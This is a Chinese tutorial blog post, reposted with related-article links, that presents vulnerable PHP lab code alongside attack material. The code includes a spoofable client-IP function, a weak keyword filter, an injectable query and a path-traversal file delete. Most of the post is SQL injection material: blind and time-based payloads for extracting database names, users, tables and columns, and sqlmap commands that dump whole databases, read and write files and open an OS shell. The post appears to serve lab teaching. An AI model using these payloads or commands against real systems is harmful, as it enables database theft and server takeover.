PHP 安全编码总结笔记

分类：PHP作者：lyshark

SQL注入: 代码中的 HTTP_X_FORWARDED_FOR 地址可以被伪造，而REMOTE_ADDR则相对更安全，有些应用程序会将对方IP地址带入数据库查询是否存在，例如同一个IP每天只能注册一个账号等，如果目标代码中使用的是 HTTP_X_FORWARDED_FOR 获取的IP地址，那么攻击者就可以通过修改HTTP包头实现SQL注入攻击。

<?php

function get_client_addr(){
	if($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"],"unknown")){
		$ip = $_SERVER["HTTP_CLIENT_IP"];
		echo "HTTP_CLIENT_IP =" . $ip;
	}else if($_SERVER["HTTP_X_FORWARDED_FOR"] && strcasecmp($_SERVER["HTTP_X_FORWARDED_FOR"],"unknown")){
		$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
		echo "HTTP_X_FORWARDED_FOR =" . $ip;
	}else if($_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"],"unknown")){
		$ip = $_SERVER["REMOTE_ADDR"];
		echo "REMOTE_ADDR =" . $ip;
	}else{
		$ip = "unknown";
	}
	return $ip;
}

$addr = get_client_addr();
?>

SQL注入: 一种使用了过滤的代码，接受的参数经过过滤，字符串会被过滤掉SQL注入的关键字，整数会被强制转换为整数。

<?php
$var = date_default_timezone_get();
echo "当前时区: " . $var . "<br>";
date_default_timezone_set("Asia/Shanghai");

if(!get_magic_quotes_gpc()){
	$var = waf($_GET['id']);
	echo "过滤后的参数: " . $var;
}

function waf($array){
	if(is_array($array)){
		foreach ($array as $key => $value) {
			$array [$key] = waf($value);
		}
	}else if(is_string($array)){
		$array = addslashes($array);
		#$array = str_ireplace("and","fuck",$array);
		$substr = array(
			"and" => "fuck you !","where" => "fuck you !","union" => "fuck you !","select" => "fuck you !","order" => "fuck you !","update" => "fuck you !","sleep" => "fuck you !",);
		$array = str_ireplace(array_keys($substr),$substr,$array);
	}else if(is_numeric($array)){
		$array = intval($array);
	}
	return $array;
}
?>

盲注的使用

首先需要简单修改上方的源代码,去掉回显框,然后修改以下代码.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="gbk">
    <title>SQL 注入测试代码</title>
</head>
        <?php
        $connect = mysqli_connect("localhost","root","123","lyshark");
        if($connect)
        {
                $id = $_GET['id'];
                if(isset($id))
                {
                        $sql = "select * from users where id='$id' limit 0,1";
                        $query = mysqli_query($connect,$sql);
                        $row = mysqli_fetch_array($query);
                        if(!empty($row))
                        {
                                print("查询完成了..");
                        }else
                        {
                                print("查询失败");
                        }
                }
        }
        ?>
<body>
        <?php echo '<hr><b> 后端执行SQL语句:  </b>' . $sql;  ?>
</body>
</html>

猜数据库名称: 盲注也就是程序会返回两种状态,查询成功与查询失败,我们需要自己构建判断条件,常用语句如下.

index.php?id=1' and left(version(),1)=5 --+            // 返回正常,说明版本号是5
index.php?id=1' and (length(database()))=7 --+         // 返回正常,说明数据库名字长度是7

index.php?id=1' and (left(database(),1))='l' --+       // 返回正常,说明数据库第一位是l
index.php?id=1' and (left(database(),2))='ly' --+      // 返回正常,说明数据库前两位位是ly,以此类推

index.php?id=1' and ord(mid((CAST(database() AS CHAR)),1,1))=108 --+  // 验证第一位是否为l
index.php?id=1' and ord(mid((CAST(database() AS CHAR)),2,1))=121 --+  // 验证第二位是否为y,以此类推

猜表名:如果网页返回正常,则说明存在这个表,返回不正常说明不存在.

index.php?id=1' and (select count(*) from mysql.user) >=0     // 存在mysql.user表
index.php?id=1' and (select count(*) from lyshark) >=0        // 存在lyshark表

猜字段: 如果网页返回正常,说明存在猜测的字段,不正常则需要继续猜.

index.php?id=1' and (select count(id) from users) >=0       // 返回正常说明存在id字段
index.php?id=1' and (select count(name) from users) >=0     // 返回不正常不存在name字段
index.php?id=1' and (select count(*) from lyshark) >=3 #--   // 返回表中记录数

用户名猜测: 通过正则符号也可使完成多指定用户的探测,其他函数用法相同.

index.php?id=1' and (length(user())) >=14 #                // 猜测数据库用户名称长度
index.php?id=1' and (select user() like 'root%') #         // 猜测用户名
index.php?id=1' and (select user() regexp '^[a-z]') #      // 猜测开头a-z
index.php?id=1' and (select user() regexp '^r') #          // 第一位是r
index.php?id=1' and (select user() regexp '^ro') #         // 第二位是o
index.php?id=1' and (select user() regexp '^root') #       // 以此类推猜测前四位

延时注入: 通过sleep(5)延时的方式,我们同样可以判断是否存在注入点.

index.php?id=1' and sleep(5) #
index.php?id=1' and sleep(5) order by 3 #                       // 如果是3个字段,则会延时5秒
index.php?id=1' and select if(length(user())=0,sleep(3),1) #    //如果user=0则延时3秒
index.php?id=1' and if(hex(mid(user(),1))=100,1) #   // 第1个字符=d则延时3秒
index.php?id=1' and if(hex(mid(user(),1))=118,1) #   // 第2个字符=v则延时3秒

◆sqlmap 命令◆

常用检测命令:

sqlmap -u "./index.php?id=1" -v 3                   # 显示攻击载荷
sqlmap -u "./index.php?id=1" --level=3              # 指定探测级别
sqlmap -u "./index.php?id=1" --privileges           # 测试所有用户权限
sqlmap -u "./index.php?id=1" --privileges root      # 测试root用户权限
sqlmap -u "./index.php?id=1" --all                  # 查询所有数据库
sqlmap -u "./index.php?id=1" --hostname             # 查询当前主机名
sqlmap -u "./index.php?id=1" --is-dba               # 判断root权限
sqlmap -u "./index.php?id=1" --users                # 枚举数据库用户
sqlmap -u "./index.php?id=1" --random-agent         # 随机User-Agent
sqlmap -u "./index.php?id=1" --output-dir=""        # 自定义输出目录
sqlmap -u "./index.php?id=1" --file-read=""         # 读取文件
sqlmap -u "./index.php?id=1" --file-write=""        # 写入操作
sqlmap -u "./index.php?id=1" --os-cmd="net user"    # 执行一条命令
sqlmap -u "./index.php?id=1" --os-shell             # 交互执行命令
sqlmap -u "./index.php?id=1" --sql-query=""         # 执行的SQL语句
sqlmap -u "./index.php?id=1" --cookie=""            # 指定cookie
sqlmap -u "./index.php?id=1" --temper=""            # 指定过滤脚本
sqlmap -u "./index.php?id=1" --dbs --delay 1        # 延时1秒后注入
sqlmap -u "./index.php?id=1" --dbs --safe-freq 3    # 延时3秒后注入

sqlmap -u "./index.php?id=1" --identify-waf                  # 测试是否有WAF
sqlmap -u "./index.php?id=1" --current-db                    # 查询当前数据库
sqlmap -u "./index.php?id=1" --current-user                  # 查询当前主机名
sqlmap -u "./index.php?id=1" --users                         # 查询所有用户名
sqlmap -u "./index.php?id=1" --dbs                           # 列出所有数据库
sqlmap -u "./index.php?id=1" --tables                        # 列出所有的表

sqlmap -u "./index.php?id=1" -D "mysql" --tables             # 获取mysql库中的表
sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --columns  # 获取mysql.host表列名称
sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --dump     # 将mysql.host保存到本地
sqlmap -u "./index.php?id=1" -D "mysql" --dump-all           # 全部脱裤
sqlmap -u "./index.php?id=1" -D "mysql" -T "user" -C "Host,User,Password" --dump

Cookie注入: 当level>=2时,使用cookie注入,level >=3 使用User-agent/Referer注入.

sqlmap -u "./index.php" -v 3 --cookie id=1 --level 2                        #判断注入点
sqlmap -u "./index.php" -v 3 --cookie id=1 --dbs --level 2                  #猜数据库名
sqlmap -u "./index.php" -v 3 --cookie id=1 --tables --level 2               #猜表名称
sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --level 2        #猜字段
sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --dump --level 2 #猜内容

POST注入: 该方法通常是使用抓包工具抓取数据包,然后指定字段进行测试即可.

1.浏览器打开目标地址 http://www.xxx.com/index.php
2.配置burp代理(127.0.0.1:8080) 准备拦截请求
3.点击login表单的submit按钮,或者其他按钮均可
4.这时候Burp会拦截到了我们的登录POST请求
5.把这个post请求复制为txt,记录下其中的 id=1&Submit=Submit

sqlmap -r post.txt -p id --dbs
Sqlmap -r post.txt -p id -D mysql --tables
Sqlmap -r post.txt -p id -D mysql -T user --columns
sqlmap -r post.txt -p id -D mysql -T user -C "User,Password" --dump
sqlmap --dbms "mysql" --method "POST" --data "id=1&cat=2"

其他漏洞利用

任意文件删除: 执行删除语句http://php.com/?dir=.....////&file=a.txt 完成漏洞利用.

<?php
$dir = isset($_GET['dir']) && trim($_GET['dir']) ? str_replace(array('..\\','../','./','.\\'),'',urldecode(trim($_GET['dir']))) : '';
$dir = str_replace("-","/",$dir);

$file = isset($_GET['file']) && trim($_GET['file']) ? trim($_GET['file']) : '';
$path = "./" . $dir . "/" . $file;
$path = str_replace(array("//"),array("/"),$path);

echo "当前路径是: " . $path . "<br>";

if (file_exists($path)) {
	if (unlink($path)) {
	    echo "删除完成..";
	} else {
	    echo "删除失败..";
	}
}
?>

原文地址：https://www.cnblogs.com/LyShark

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 dio@foxmail.com 举报，一经查实，本站将立刻删除。

相关推荐

SourceCodester Online Tours & Travels Management System pay.php sql injection
文章浏览阅读8.4k次，点赞8次，收藏7次。SourceCodester Online Tours & Travels Management System pay.php sql injectionLine 16 of pay.php invokes a SQL query built using unvalidated input. This call could allow an attacker to modify the statement’s meaning or to execute arbitrary SQL commands.SQL
Windows搭建Typecho个人博客并发布公网访问【内网穿透】
文章浏览阅读3.4k次，点赞46次，收藏51次。本文为大家介绍在windwos系统搭建typecho博客+cpolar内网穿透工具将博客发布到公共网络环境,实现远程也可以访问和操作。_windows搭建typecho
php从静态资源到动态内容
文章浏览阅读1.1k次。- php是最优秀, 最原生的模板语言, 替代语法,让php更加的优雅的与html生活在一起 -->请放心, 最终生成的,或者说用户最终看到的,仍然是一个html文档, php代码中的内容不会被泄漏的。-- 将php与html代码混编的时候,大括号很容易造成配对错误,最好杜绝它 -->php标签内部代码由php.exe解释, php标签之外的代码原样输出,仍由web服务器解析。-- 所以php的流程控制语句, 都提供了替代语法,用冒号代替大括号 -->php echo '百变鹏仔'?_利用php将静态页面修改为动态页面
Linux network namespace(网络命名空间)认知
文章浏览阅读1.1k次，点赞18次，收藏15次。整理K8s网络相关笔记博文内容涉及 Linux network namespace 认知以及彼此通信Demo，实际中的应用理解不足小伙伴帮忙指正不必太纠结于当下，也不必太忧虑未来，当你经历过一些事情的时候，眼前的风景已经和从前不一样了。——村上春树。_linux network namespace 多端通信 模式认知
Kubernetes基础(十一)-CNI网络插件用法和对比
文章浏览阅读1.2k次，点赞22次，收藏19次。此网络模型提供了一个逻辑二层（L2）网络，该网络封装在跨 Kubernetes 集群节点的现有三层（L3）网络拓扑上。使用此模型，可以为容器提供一个隔离的 L2 网络，而无需分发路由。封装网络带来了少量的处理开销以及由于覆盖封装生成 IP header 造成的 IP 包大小增加。封装信息由 Kubernetes worker 之间的 UDP 端口分发，交换如何访问 MAC 地址的网络控制平面信息。此类网络模型中常用的封装是 VXLAN、Internet 协议安全性 (IPSec) 和 IP-in-IP。_k8s网络组件对比
黑客技术（网络安全）自学2024
文章浏览阅读1.1k次，点赞14次，收藏19次。当我们谈论网络安全时，我们正在讨论的是保护我们的在线空间，这是我们所有人的共享责任。网络安全涉及保护我们的信息，防止被未经授权的人访问、披露、破坏或修改。
能够ping通某个网站，但是却不能访问
文章浏览阅读1.3w次，点赞3次，收藏7次。尽管您可以通过 ping 命令解析出网站的 IP 地址，但是可能在浏览器中访问时仍然遇到问题，这可能是因为浏览器使用的 DNS 解析结果不同于 ping 命令使用的解析结果。可能是因为您的网络或设备上设置了防火墙，阻止了对特定网站的访问。有些国家或组织可能会对特定的域名进行屏蔽，从而阻止访问相关网站。如果您的网络使用代理服务器进行访问控制，可能会由于代理服务器的配置问题导致无法访问某些网站。即使您的网络和设备一切正常，目标网站本身可能也存在问题，例如服务器故障、维护或过载，导致无法访问。_能ping通打不开网页
java/php/node.js/python基于web的小说浏览系统【2024年毕设】
文章浏览阅读839次，点赞22次，收藏19次。本系统带文档lw万字以上文末可领取本课题的JAVA源码参考。
基于微信小程序奶茶点餐外卖系统设计与实现(PHP后台+Mysql)可行性分析
文章浏览阅读2.1k次，点赞31次，收藏22次。基于微信小程序奶茶点餐外卖系统设计与实现(PHP后台+Mysql)可行性分析毕设源代码毕业设计，数据安全和系统稳定性以及团队能力和资源配备方面都具备较好的条件。因此，该项目的可行性较高。：黄菊华老师《Vue.js入门与商城开发实战》《微信小程序商城开发》图书作者，CSDN博客专家，在线教育专家，CSDN钻石讲师；微信小程序作为一种快捷、方便的移动应用形式，成为很多用户点餐外卖的首选。项目的界面和功能都可以定制，包安装运行！项目配有对应开发文档、开题报告、任务书、PPT、论文模版等。
PHP+Lucky+Baby母婴用品网站的设计与实现75554-计算机毕业设计项目选题推荐（赠源码）
文章浏览阅读1.8k次，点赞52次，收藏38次。本文主要通过对系统的前台系统和后台管理系统进行了功能性需求分析，对系统的安全性和可扩展性进行了非功能性需求分析。在详细的需求分析的基础上，根据系统的功能设计确定了数据库结构，实现完整的代码编写。Lucky+Baby母婴用品网站使用 Dreamweaver、HBuilder代码编辑器、Apache服务器等开发工具，完成了系统的主要模块的页面设计和功能实现。本文展示了首页页面的实现效果图，并通过代码和页面介绍了用户注册功能、商品搜索功能、生成订单和查看我的订单功能、在线付款功能功能的实现过程。
PHP人事信息管理系统 毕业设计 附源码45934
文章浏览阅读1.5k次，点赞45次，收藏40次。本设计主要实现集人性化、高效率、便捷等优点于一身的人事信息管理系统，完成首页、系统用户、通知公告、部门信息、员工薪资、考勤签到、员工请假、招聘信息、应聘信息等功能模块。
php初学者常见的几个错误及解决方法
文章浏览阅读1k次。该错误通常出现在数据库读取结果集数据时，比如当我们写好SQL语句从数据库读取数据时，本身应该返回结果集，再给结果集中读取数据。解决思路：这种错误一般是因为echo后面输出了一个数组导致的，或者是数组作为字符串进行拼接运算时导致的。该错误直译为：警告：mysqli_fetch_assoc函数期望参数1是mysqli的结果集，但是给了一个布尔值。这种错误是PHP解析器在解析时遇到了语法错误，直译为：解析错误:语法错误，意料之外的...该错误直译为：提示：未定义的索引：username。_array to string conversion in
http请求报错context deadline exceeded (Client.Timeout exceeded while awaiting headers)
文章浏览阅读2.7w次。解决http请求报错context deadline exceeded (Client.Timeout exceeded while awaiting headers)_context deadline exceeded (client.timeout exceeded while awaiting headers)
【复杂网络建模】——基于代理的社会网络建模（Agent-Based Modeling，ABM）[Python实现]
文章浏览阅读1.3k次，点赞26次，收藏24次。复杂网络是一种由大量相互连接的元素（节点或顶点）组成的网络结构，这些连接通常是非常复杂和动态的。这些网络可以在各种领域中发现，包括社交网络、生物学系统、信息技术和交通系统等。_代理建模
【文末送书】计算机网络编程 | epoll详解
文章浏览阅读2.6k次，点赞76次，收藏71次。epoll详解，事件模型，ET/LT模式，并通过三个示例进行代码实现。
如何检查代理和防火墙设置
文章浏览阅读3.3k次。罗拉ROLA-IP是一家来自纽约的代理IP提供商，由李嘉诚先生投资建设，韩国人工智能、自动驾驶、虚拟现实方面的领军企业World IT Show投资入股，由美国纽约大学IT管理教授团队研究开发，进入中国市场6年多，全世界设有多个分子公司。接下来，我们要检查代理和防火墙的设置，因为在绝大多数情况下，它们是导致这个错误的原因，尤其是当用户使用免费代理时。对网站的访问受阻实际上是一个非常常见的错误，它既可能是由于物理原因（硬件问题）造成的，也可能是由于软件错误引起的。检查代理设置，并确保其正确配置。_无法访问此网站,检查代理服务器和防火墙
java/php/node.js/python预约上门洗车系统【2024年毕设】
文章浏览阅读1.1k次，点赞14次，收藏20次。本系统带文档lw万字以上文末可领取本课题的JAVA源码参考。_php洗车服务预约管理系统php源码
分别用JavaScript，Java，PHP，C++实现桶排序的算法（附带源码）
文章浏览阅读1.1k次。桶排序是计数排序的升级版。它利用了函数的映射关系，高效与否的关键就在于这个映射函数的确定。同时，对于桶中元素的排序，选择何种比较排序算法对于性能的影响至关重要。
java/php/node.js/python基于Java宠物寄存管理系统【2024年毕设】
文章浏览阅读936次，点赞22次，收藏17次。本系统带文档lw万字以上文末可领取本课题的JAVA源码参考。
java/php/node.js/python闽科社团活动助手APP的设计与实现【2024年毕设】
文章浏览阅读822次，点赞15次，收藏14次。在整个设计过程中，要确定可能的具体解决方案，以实现每一个小的最终目标，对于每一个小目标，我们首先必须了解一些相关的需求分析信息。除了以上作品下面是2023-2024年最新100套计算机专业原创的毕业设计源码+数据库，是近期作品，如果你的题目刚好在下面可以文末领取java源码参考。springboot基于springboot的在线考试系统。springboot基于springboot的商城购物系统。springboot基于微信小程序的智慧校园设计与实现。springboot基于用户的协同过滤算法的话题推荐。
pythonJavaScriptjavaHTMLPHPreactjsC#AndroidCSSNode.jssqlrpython-3.xMysqLjQueryc++pandasFlutterangularIOSdjangolinuxswifttypescript路由器JSON路由器设置无线路由器h3c华三华三路由器设置华三路由器电脑软件教程arraysdocker软件图文教程Cvue.jslaravelspring-boot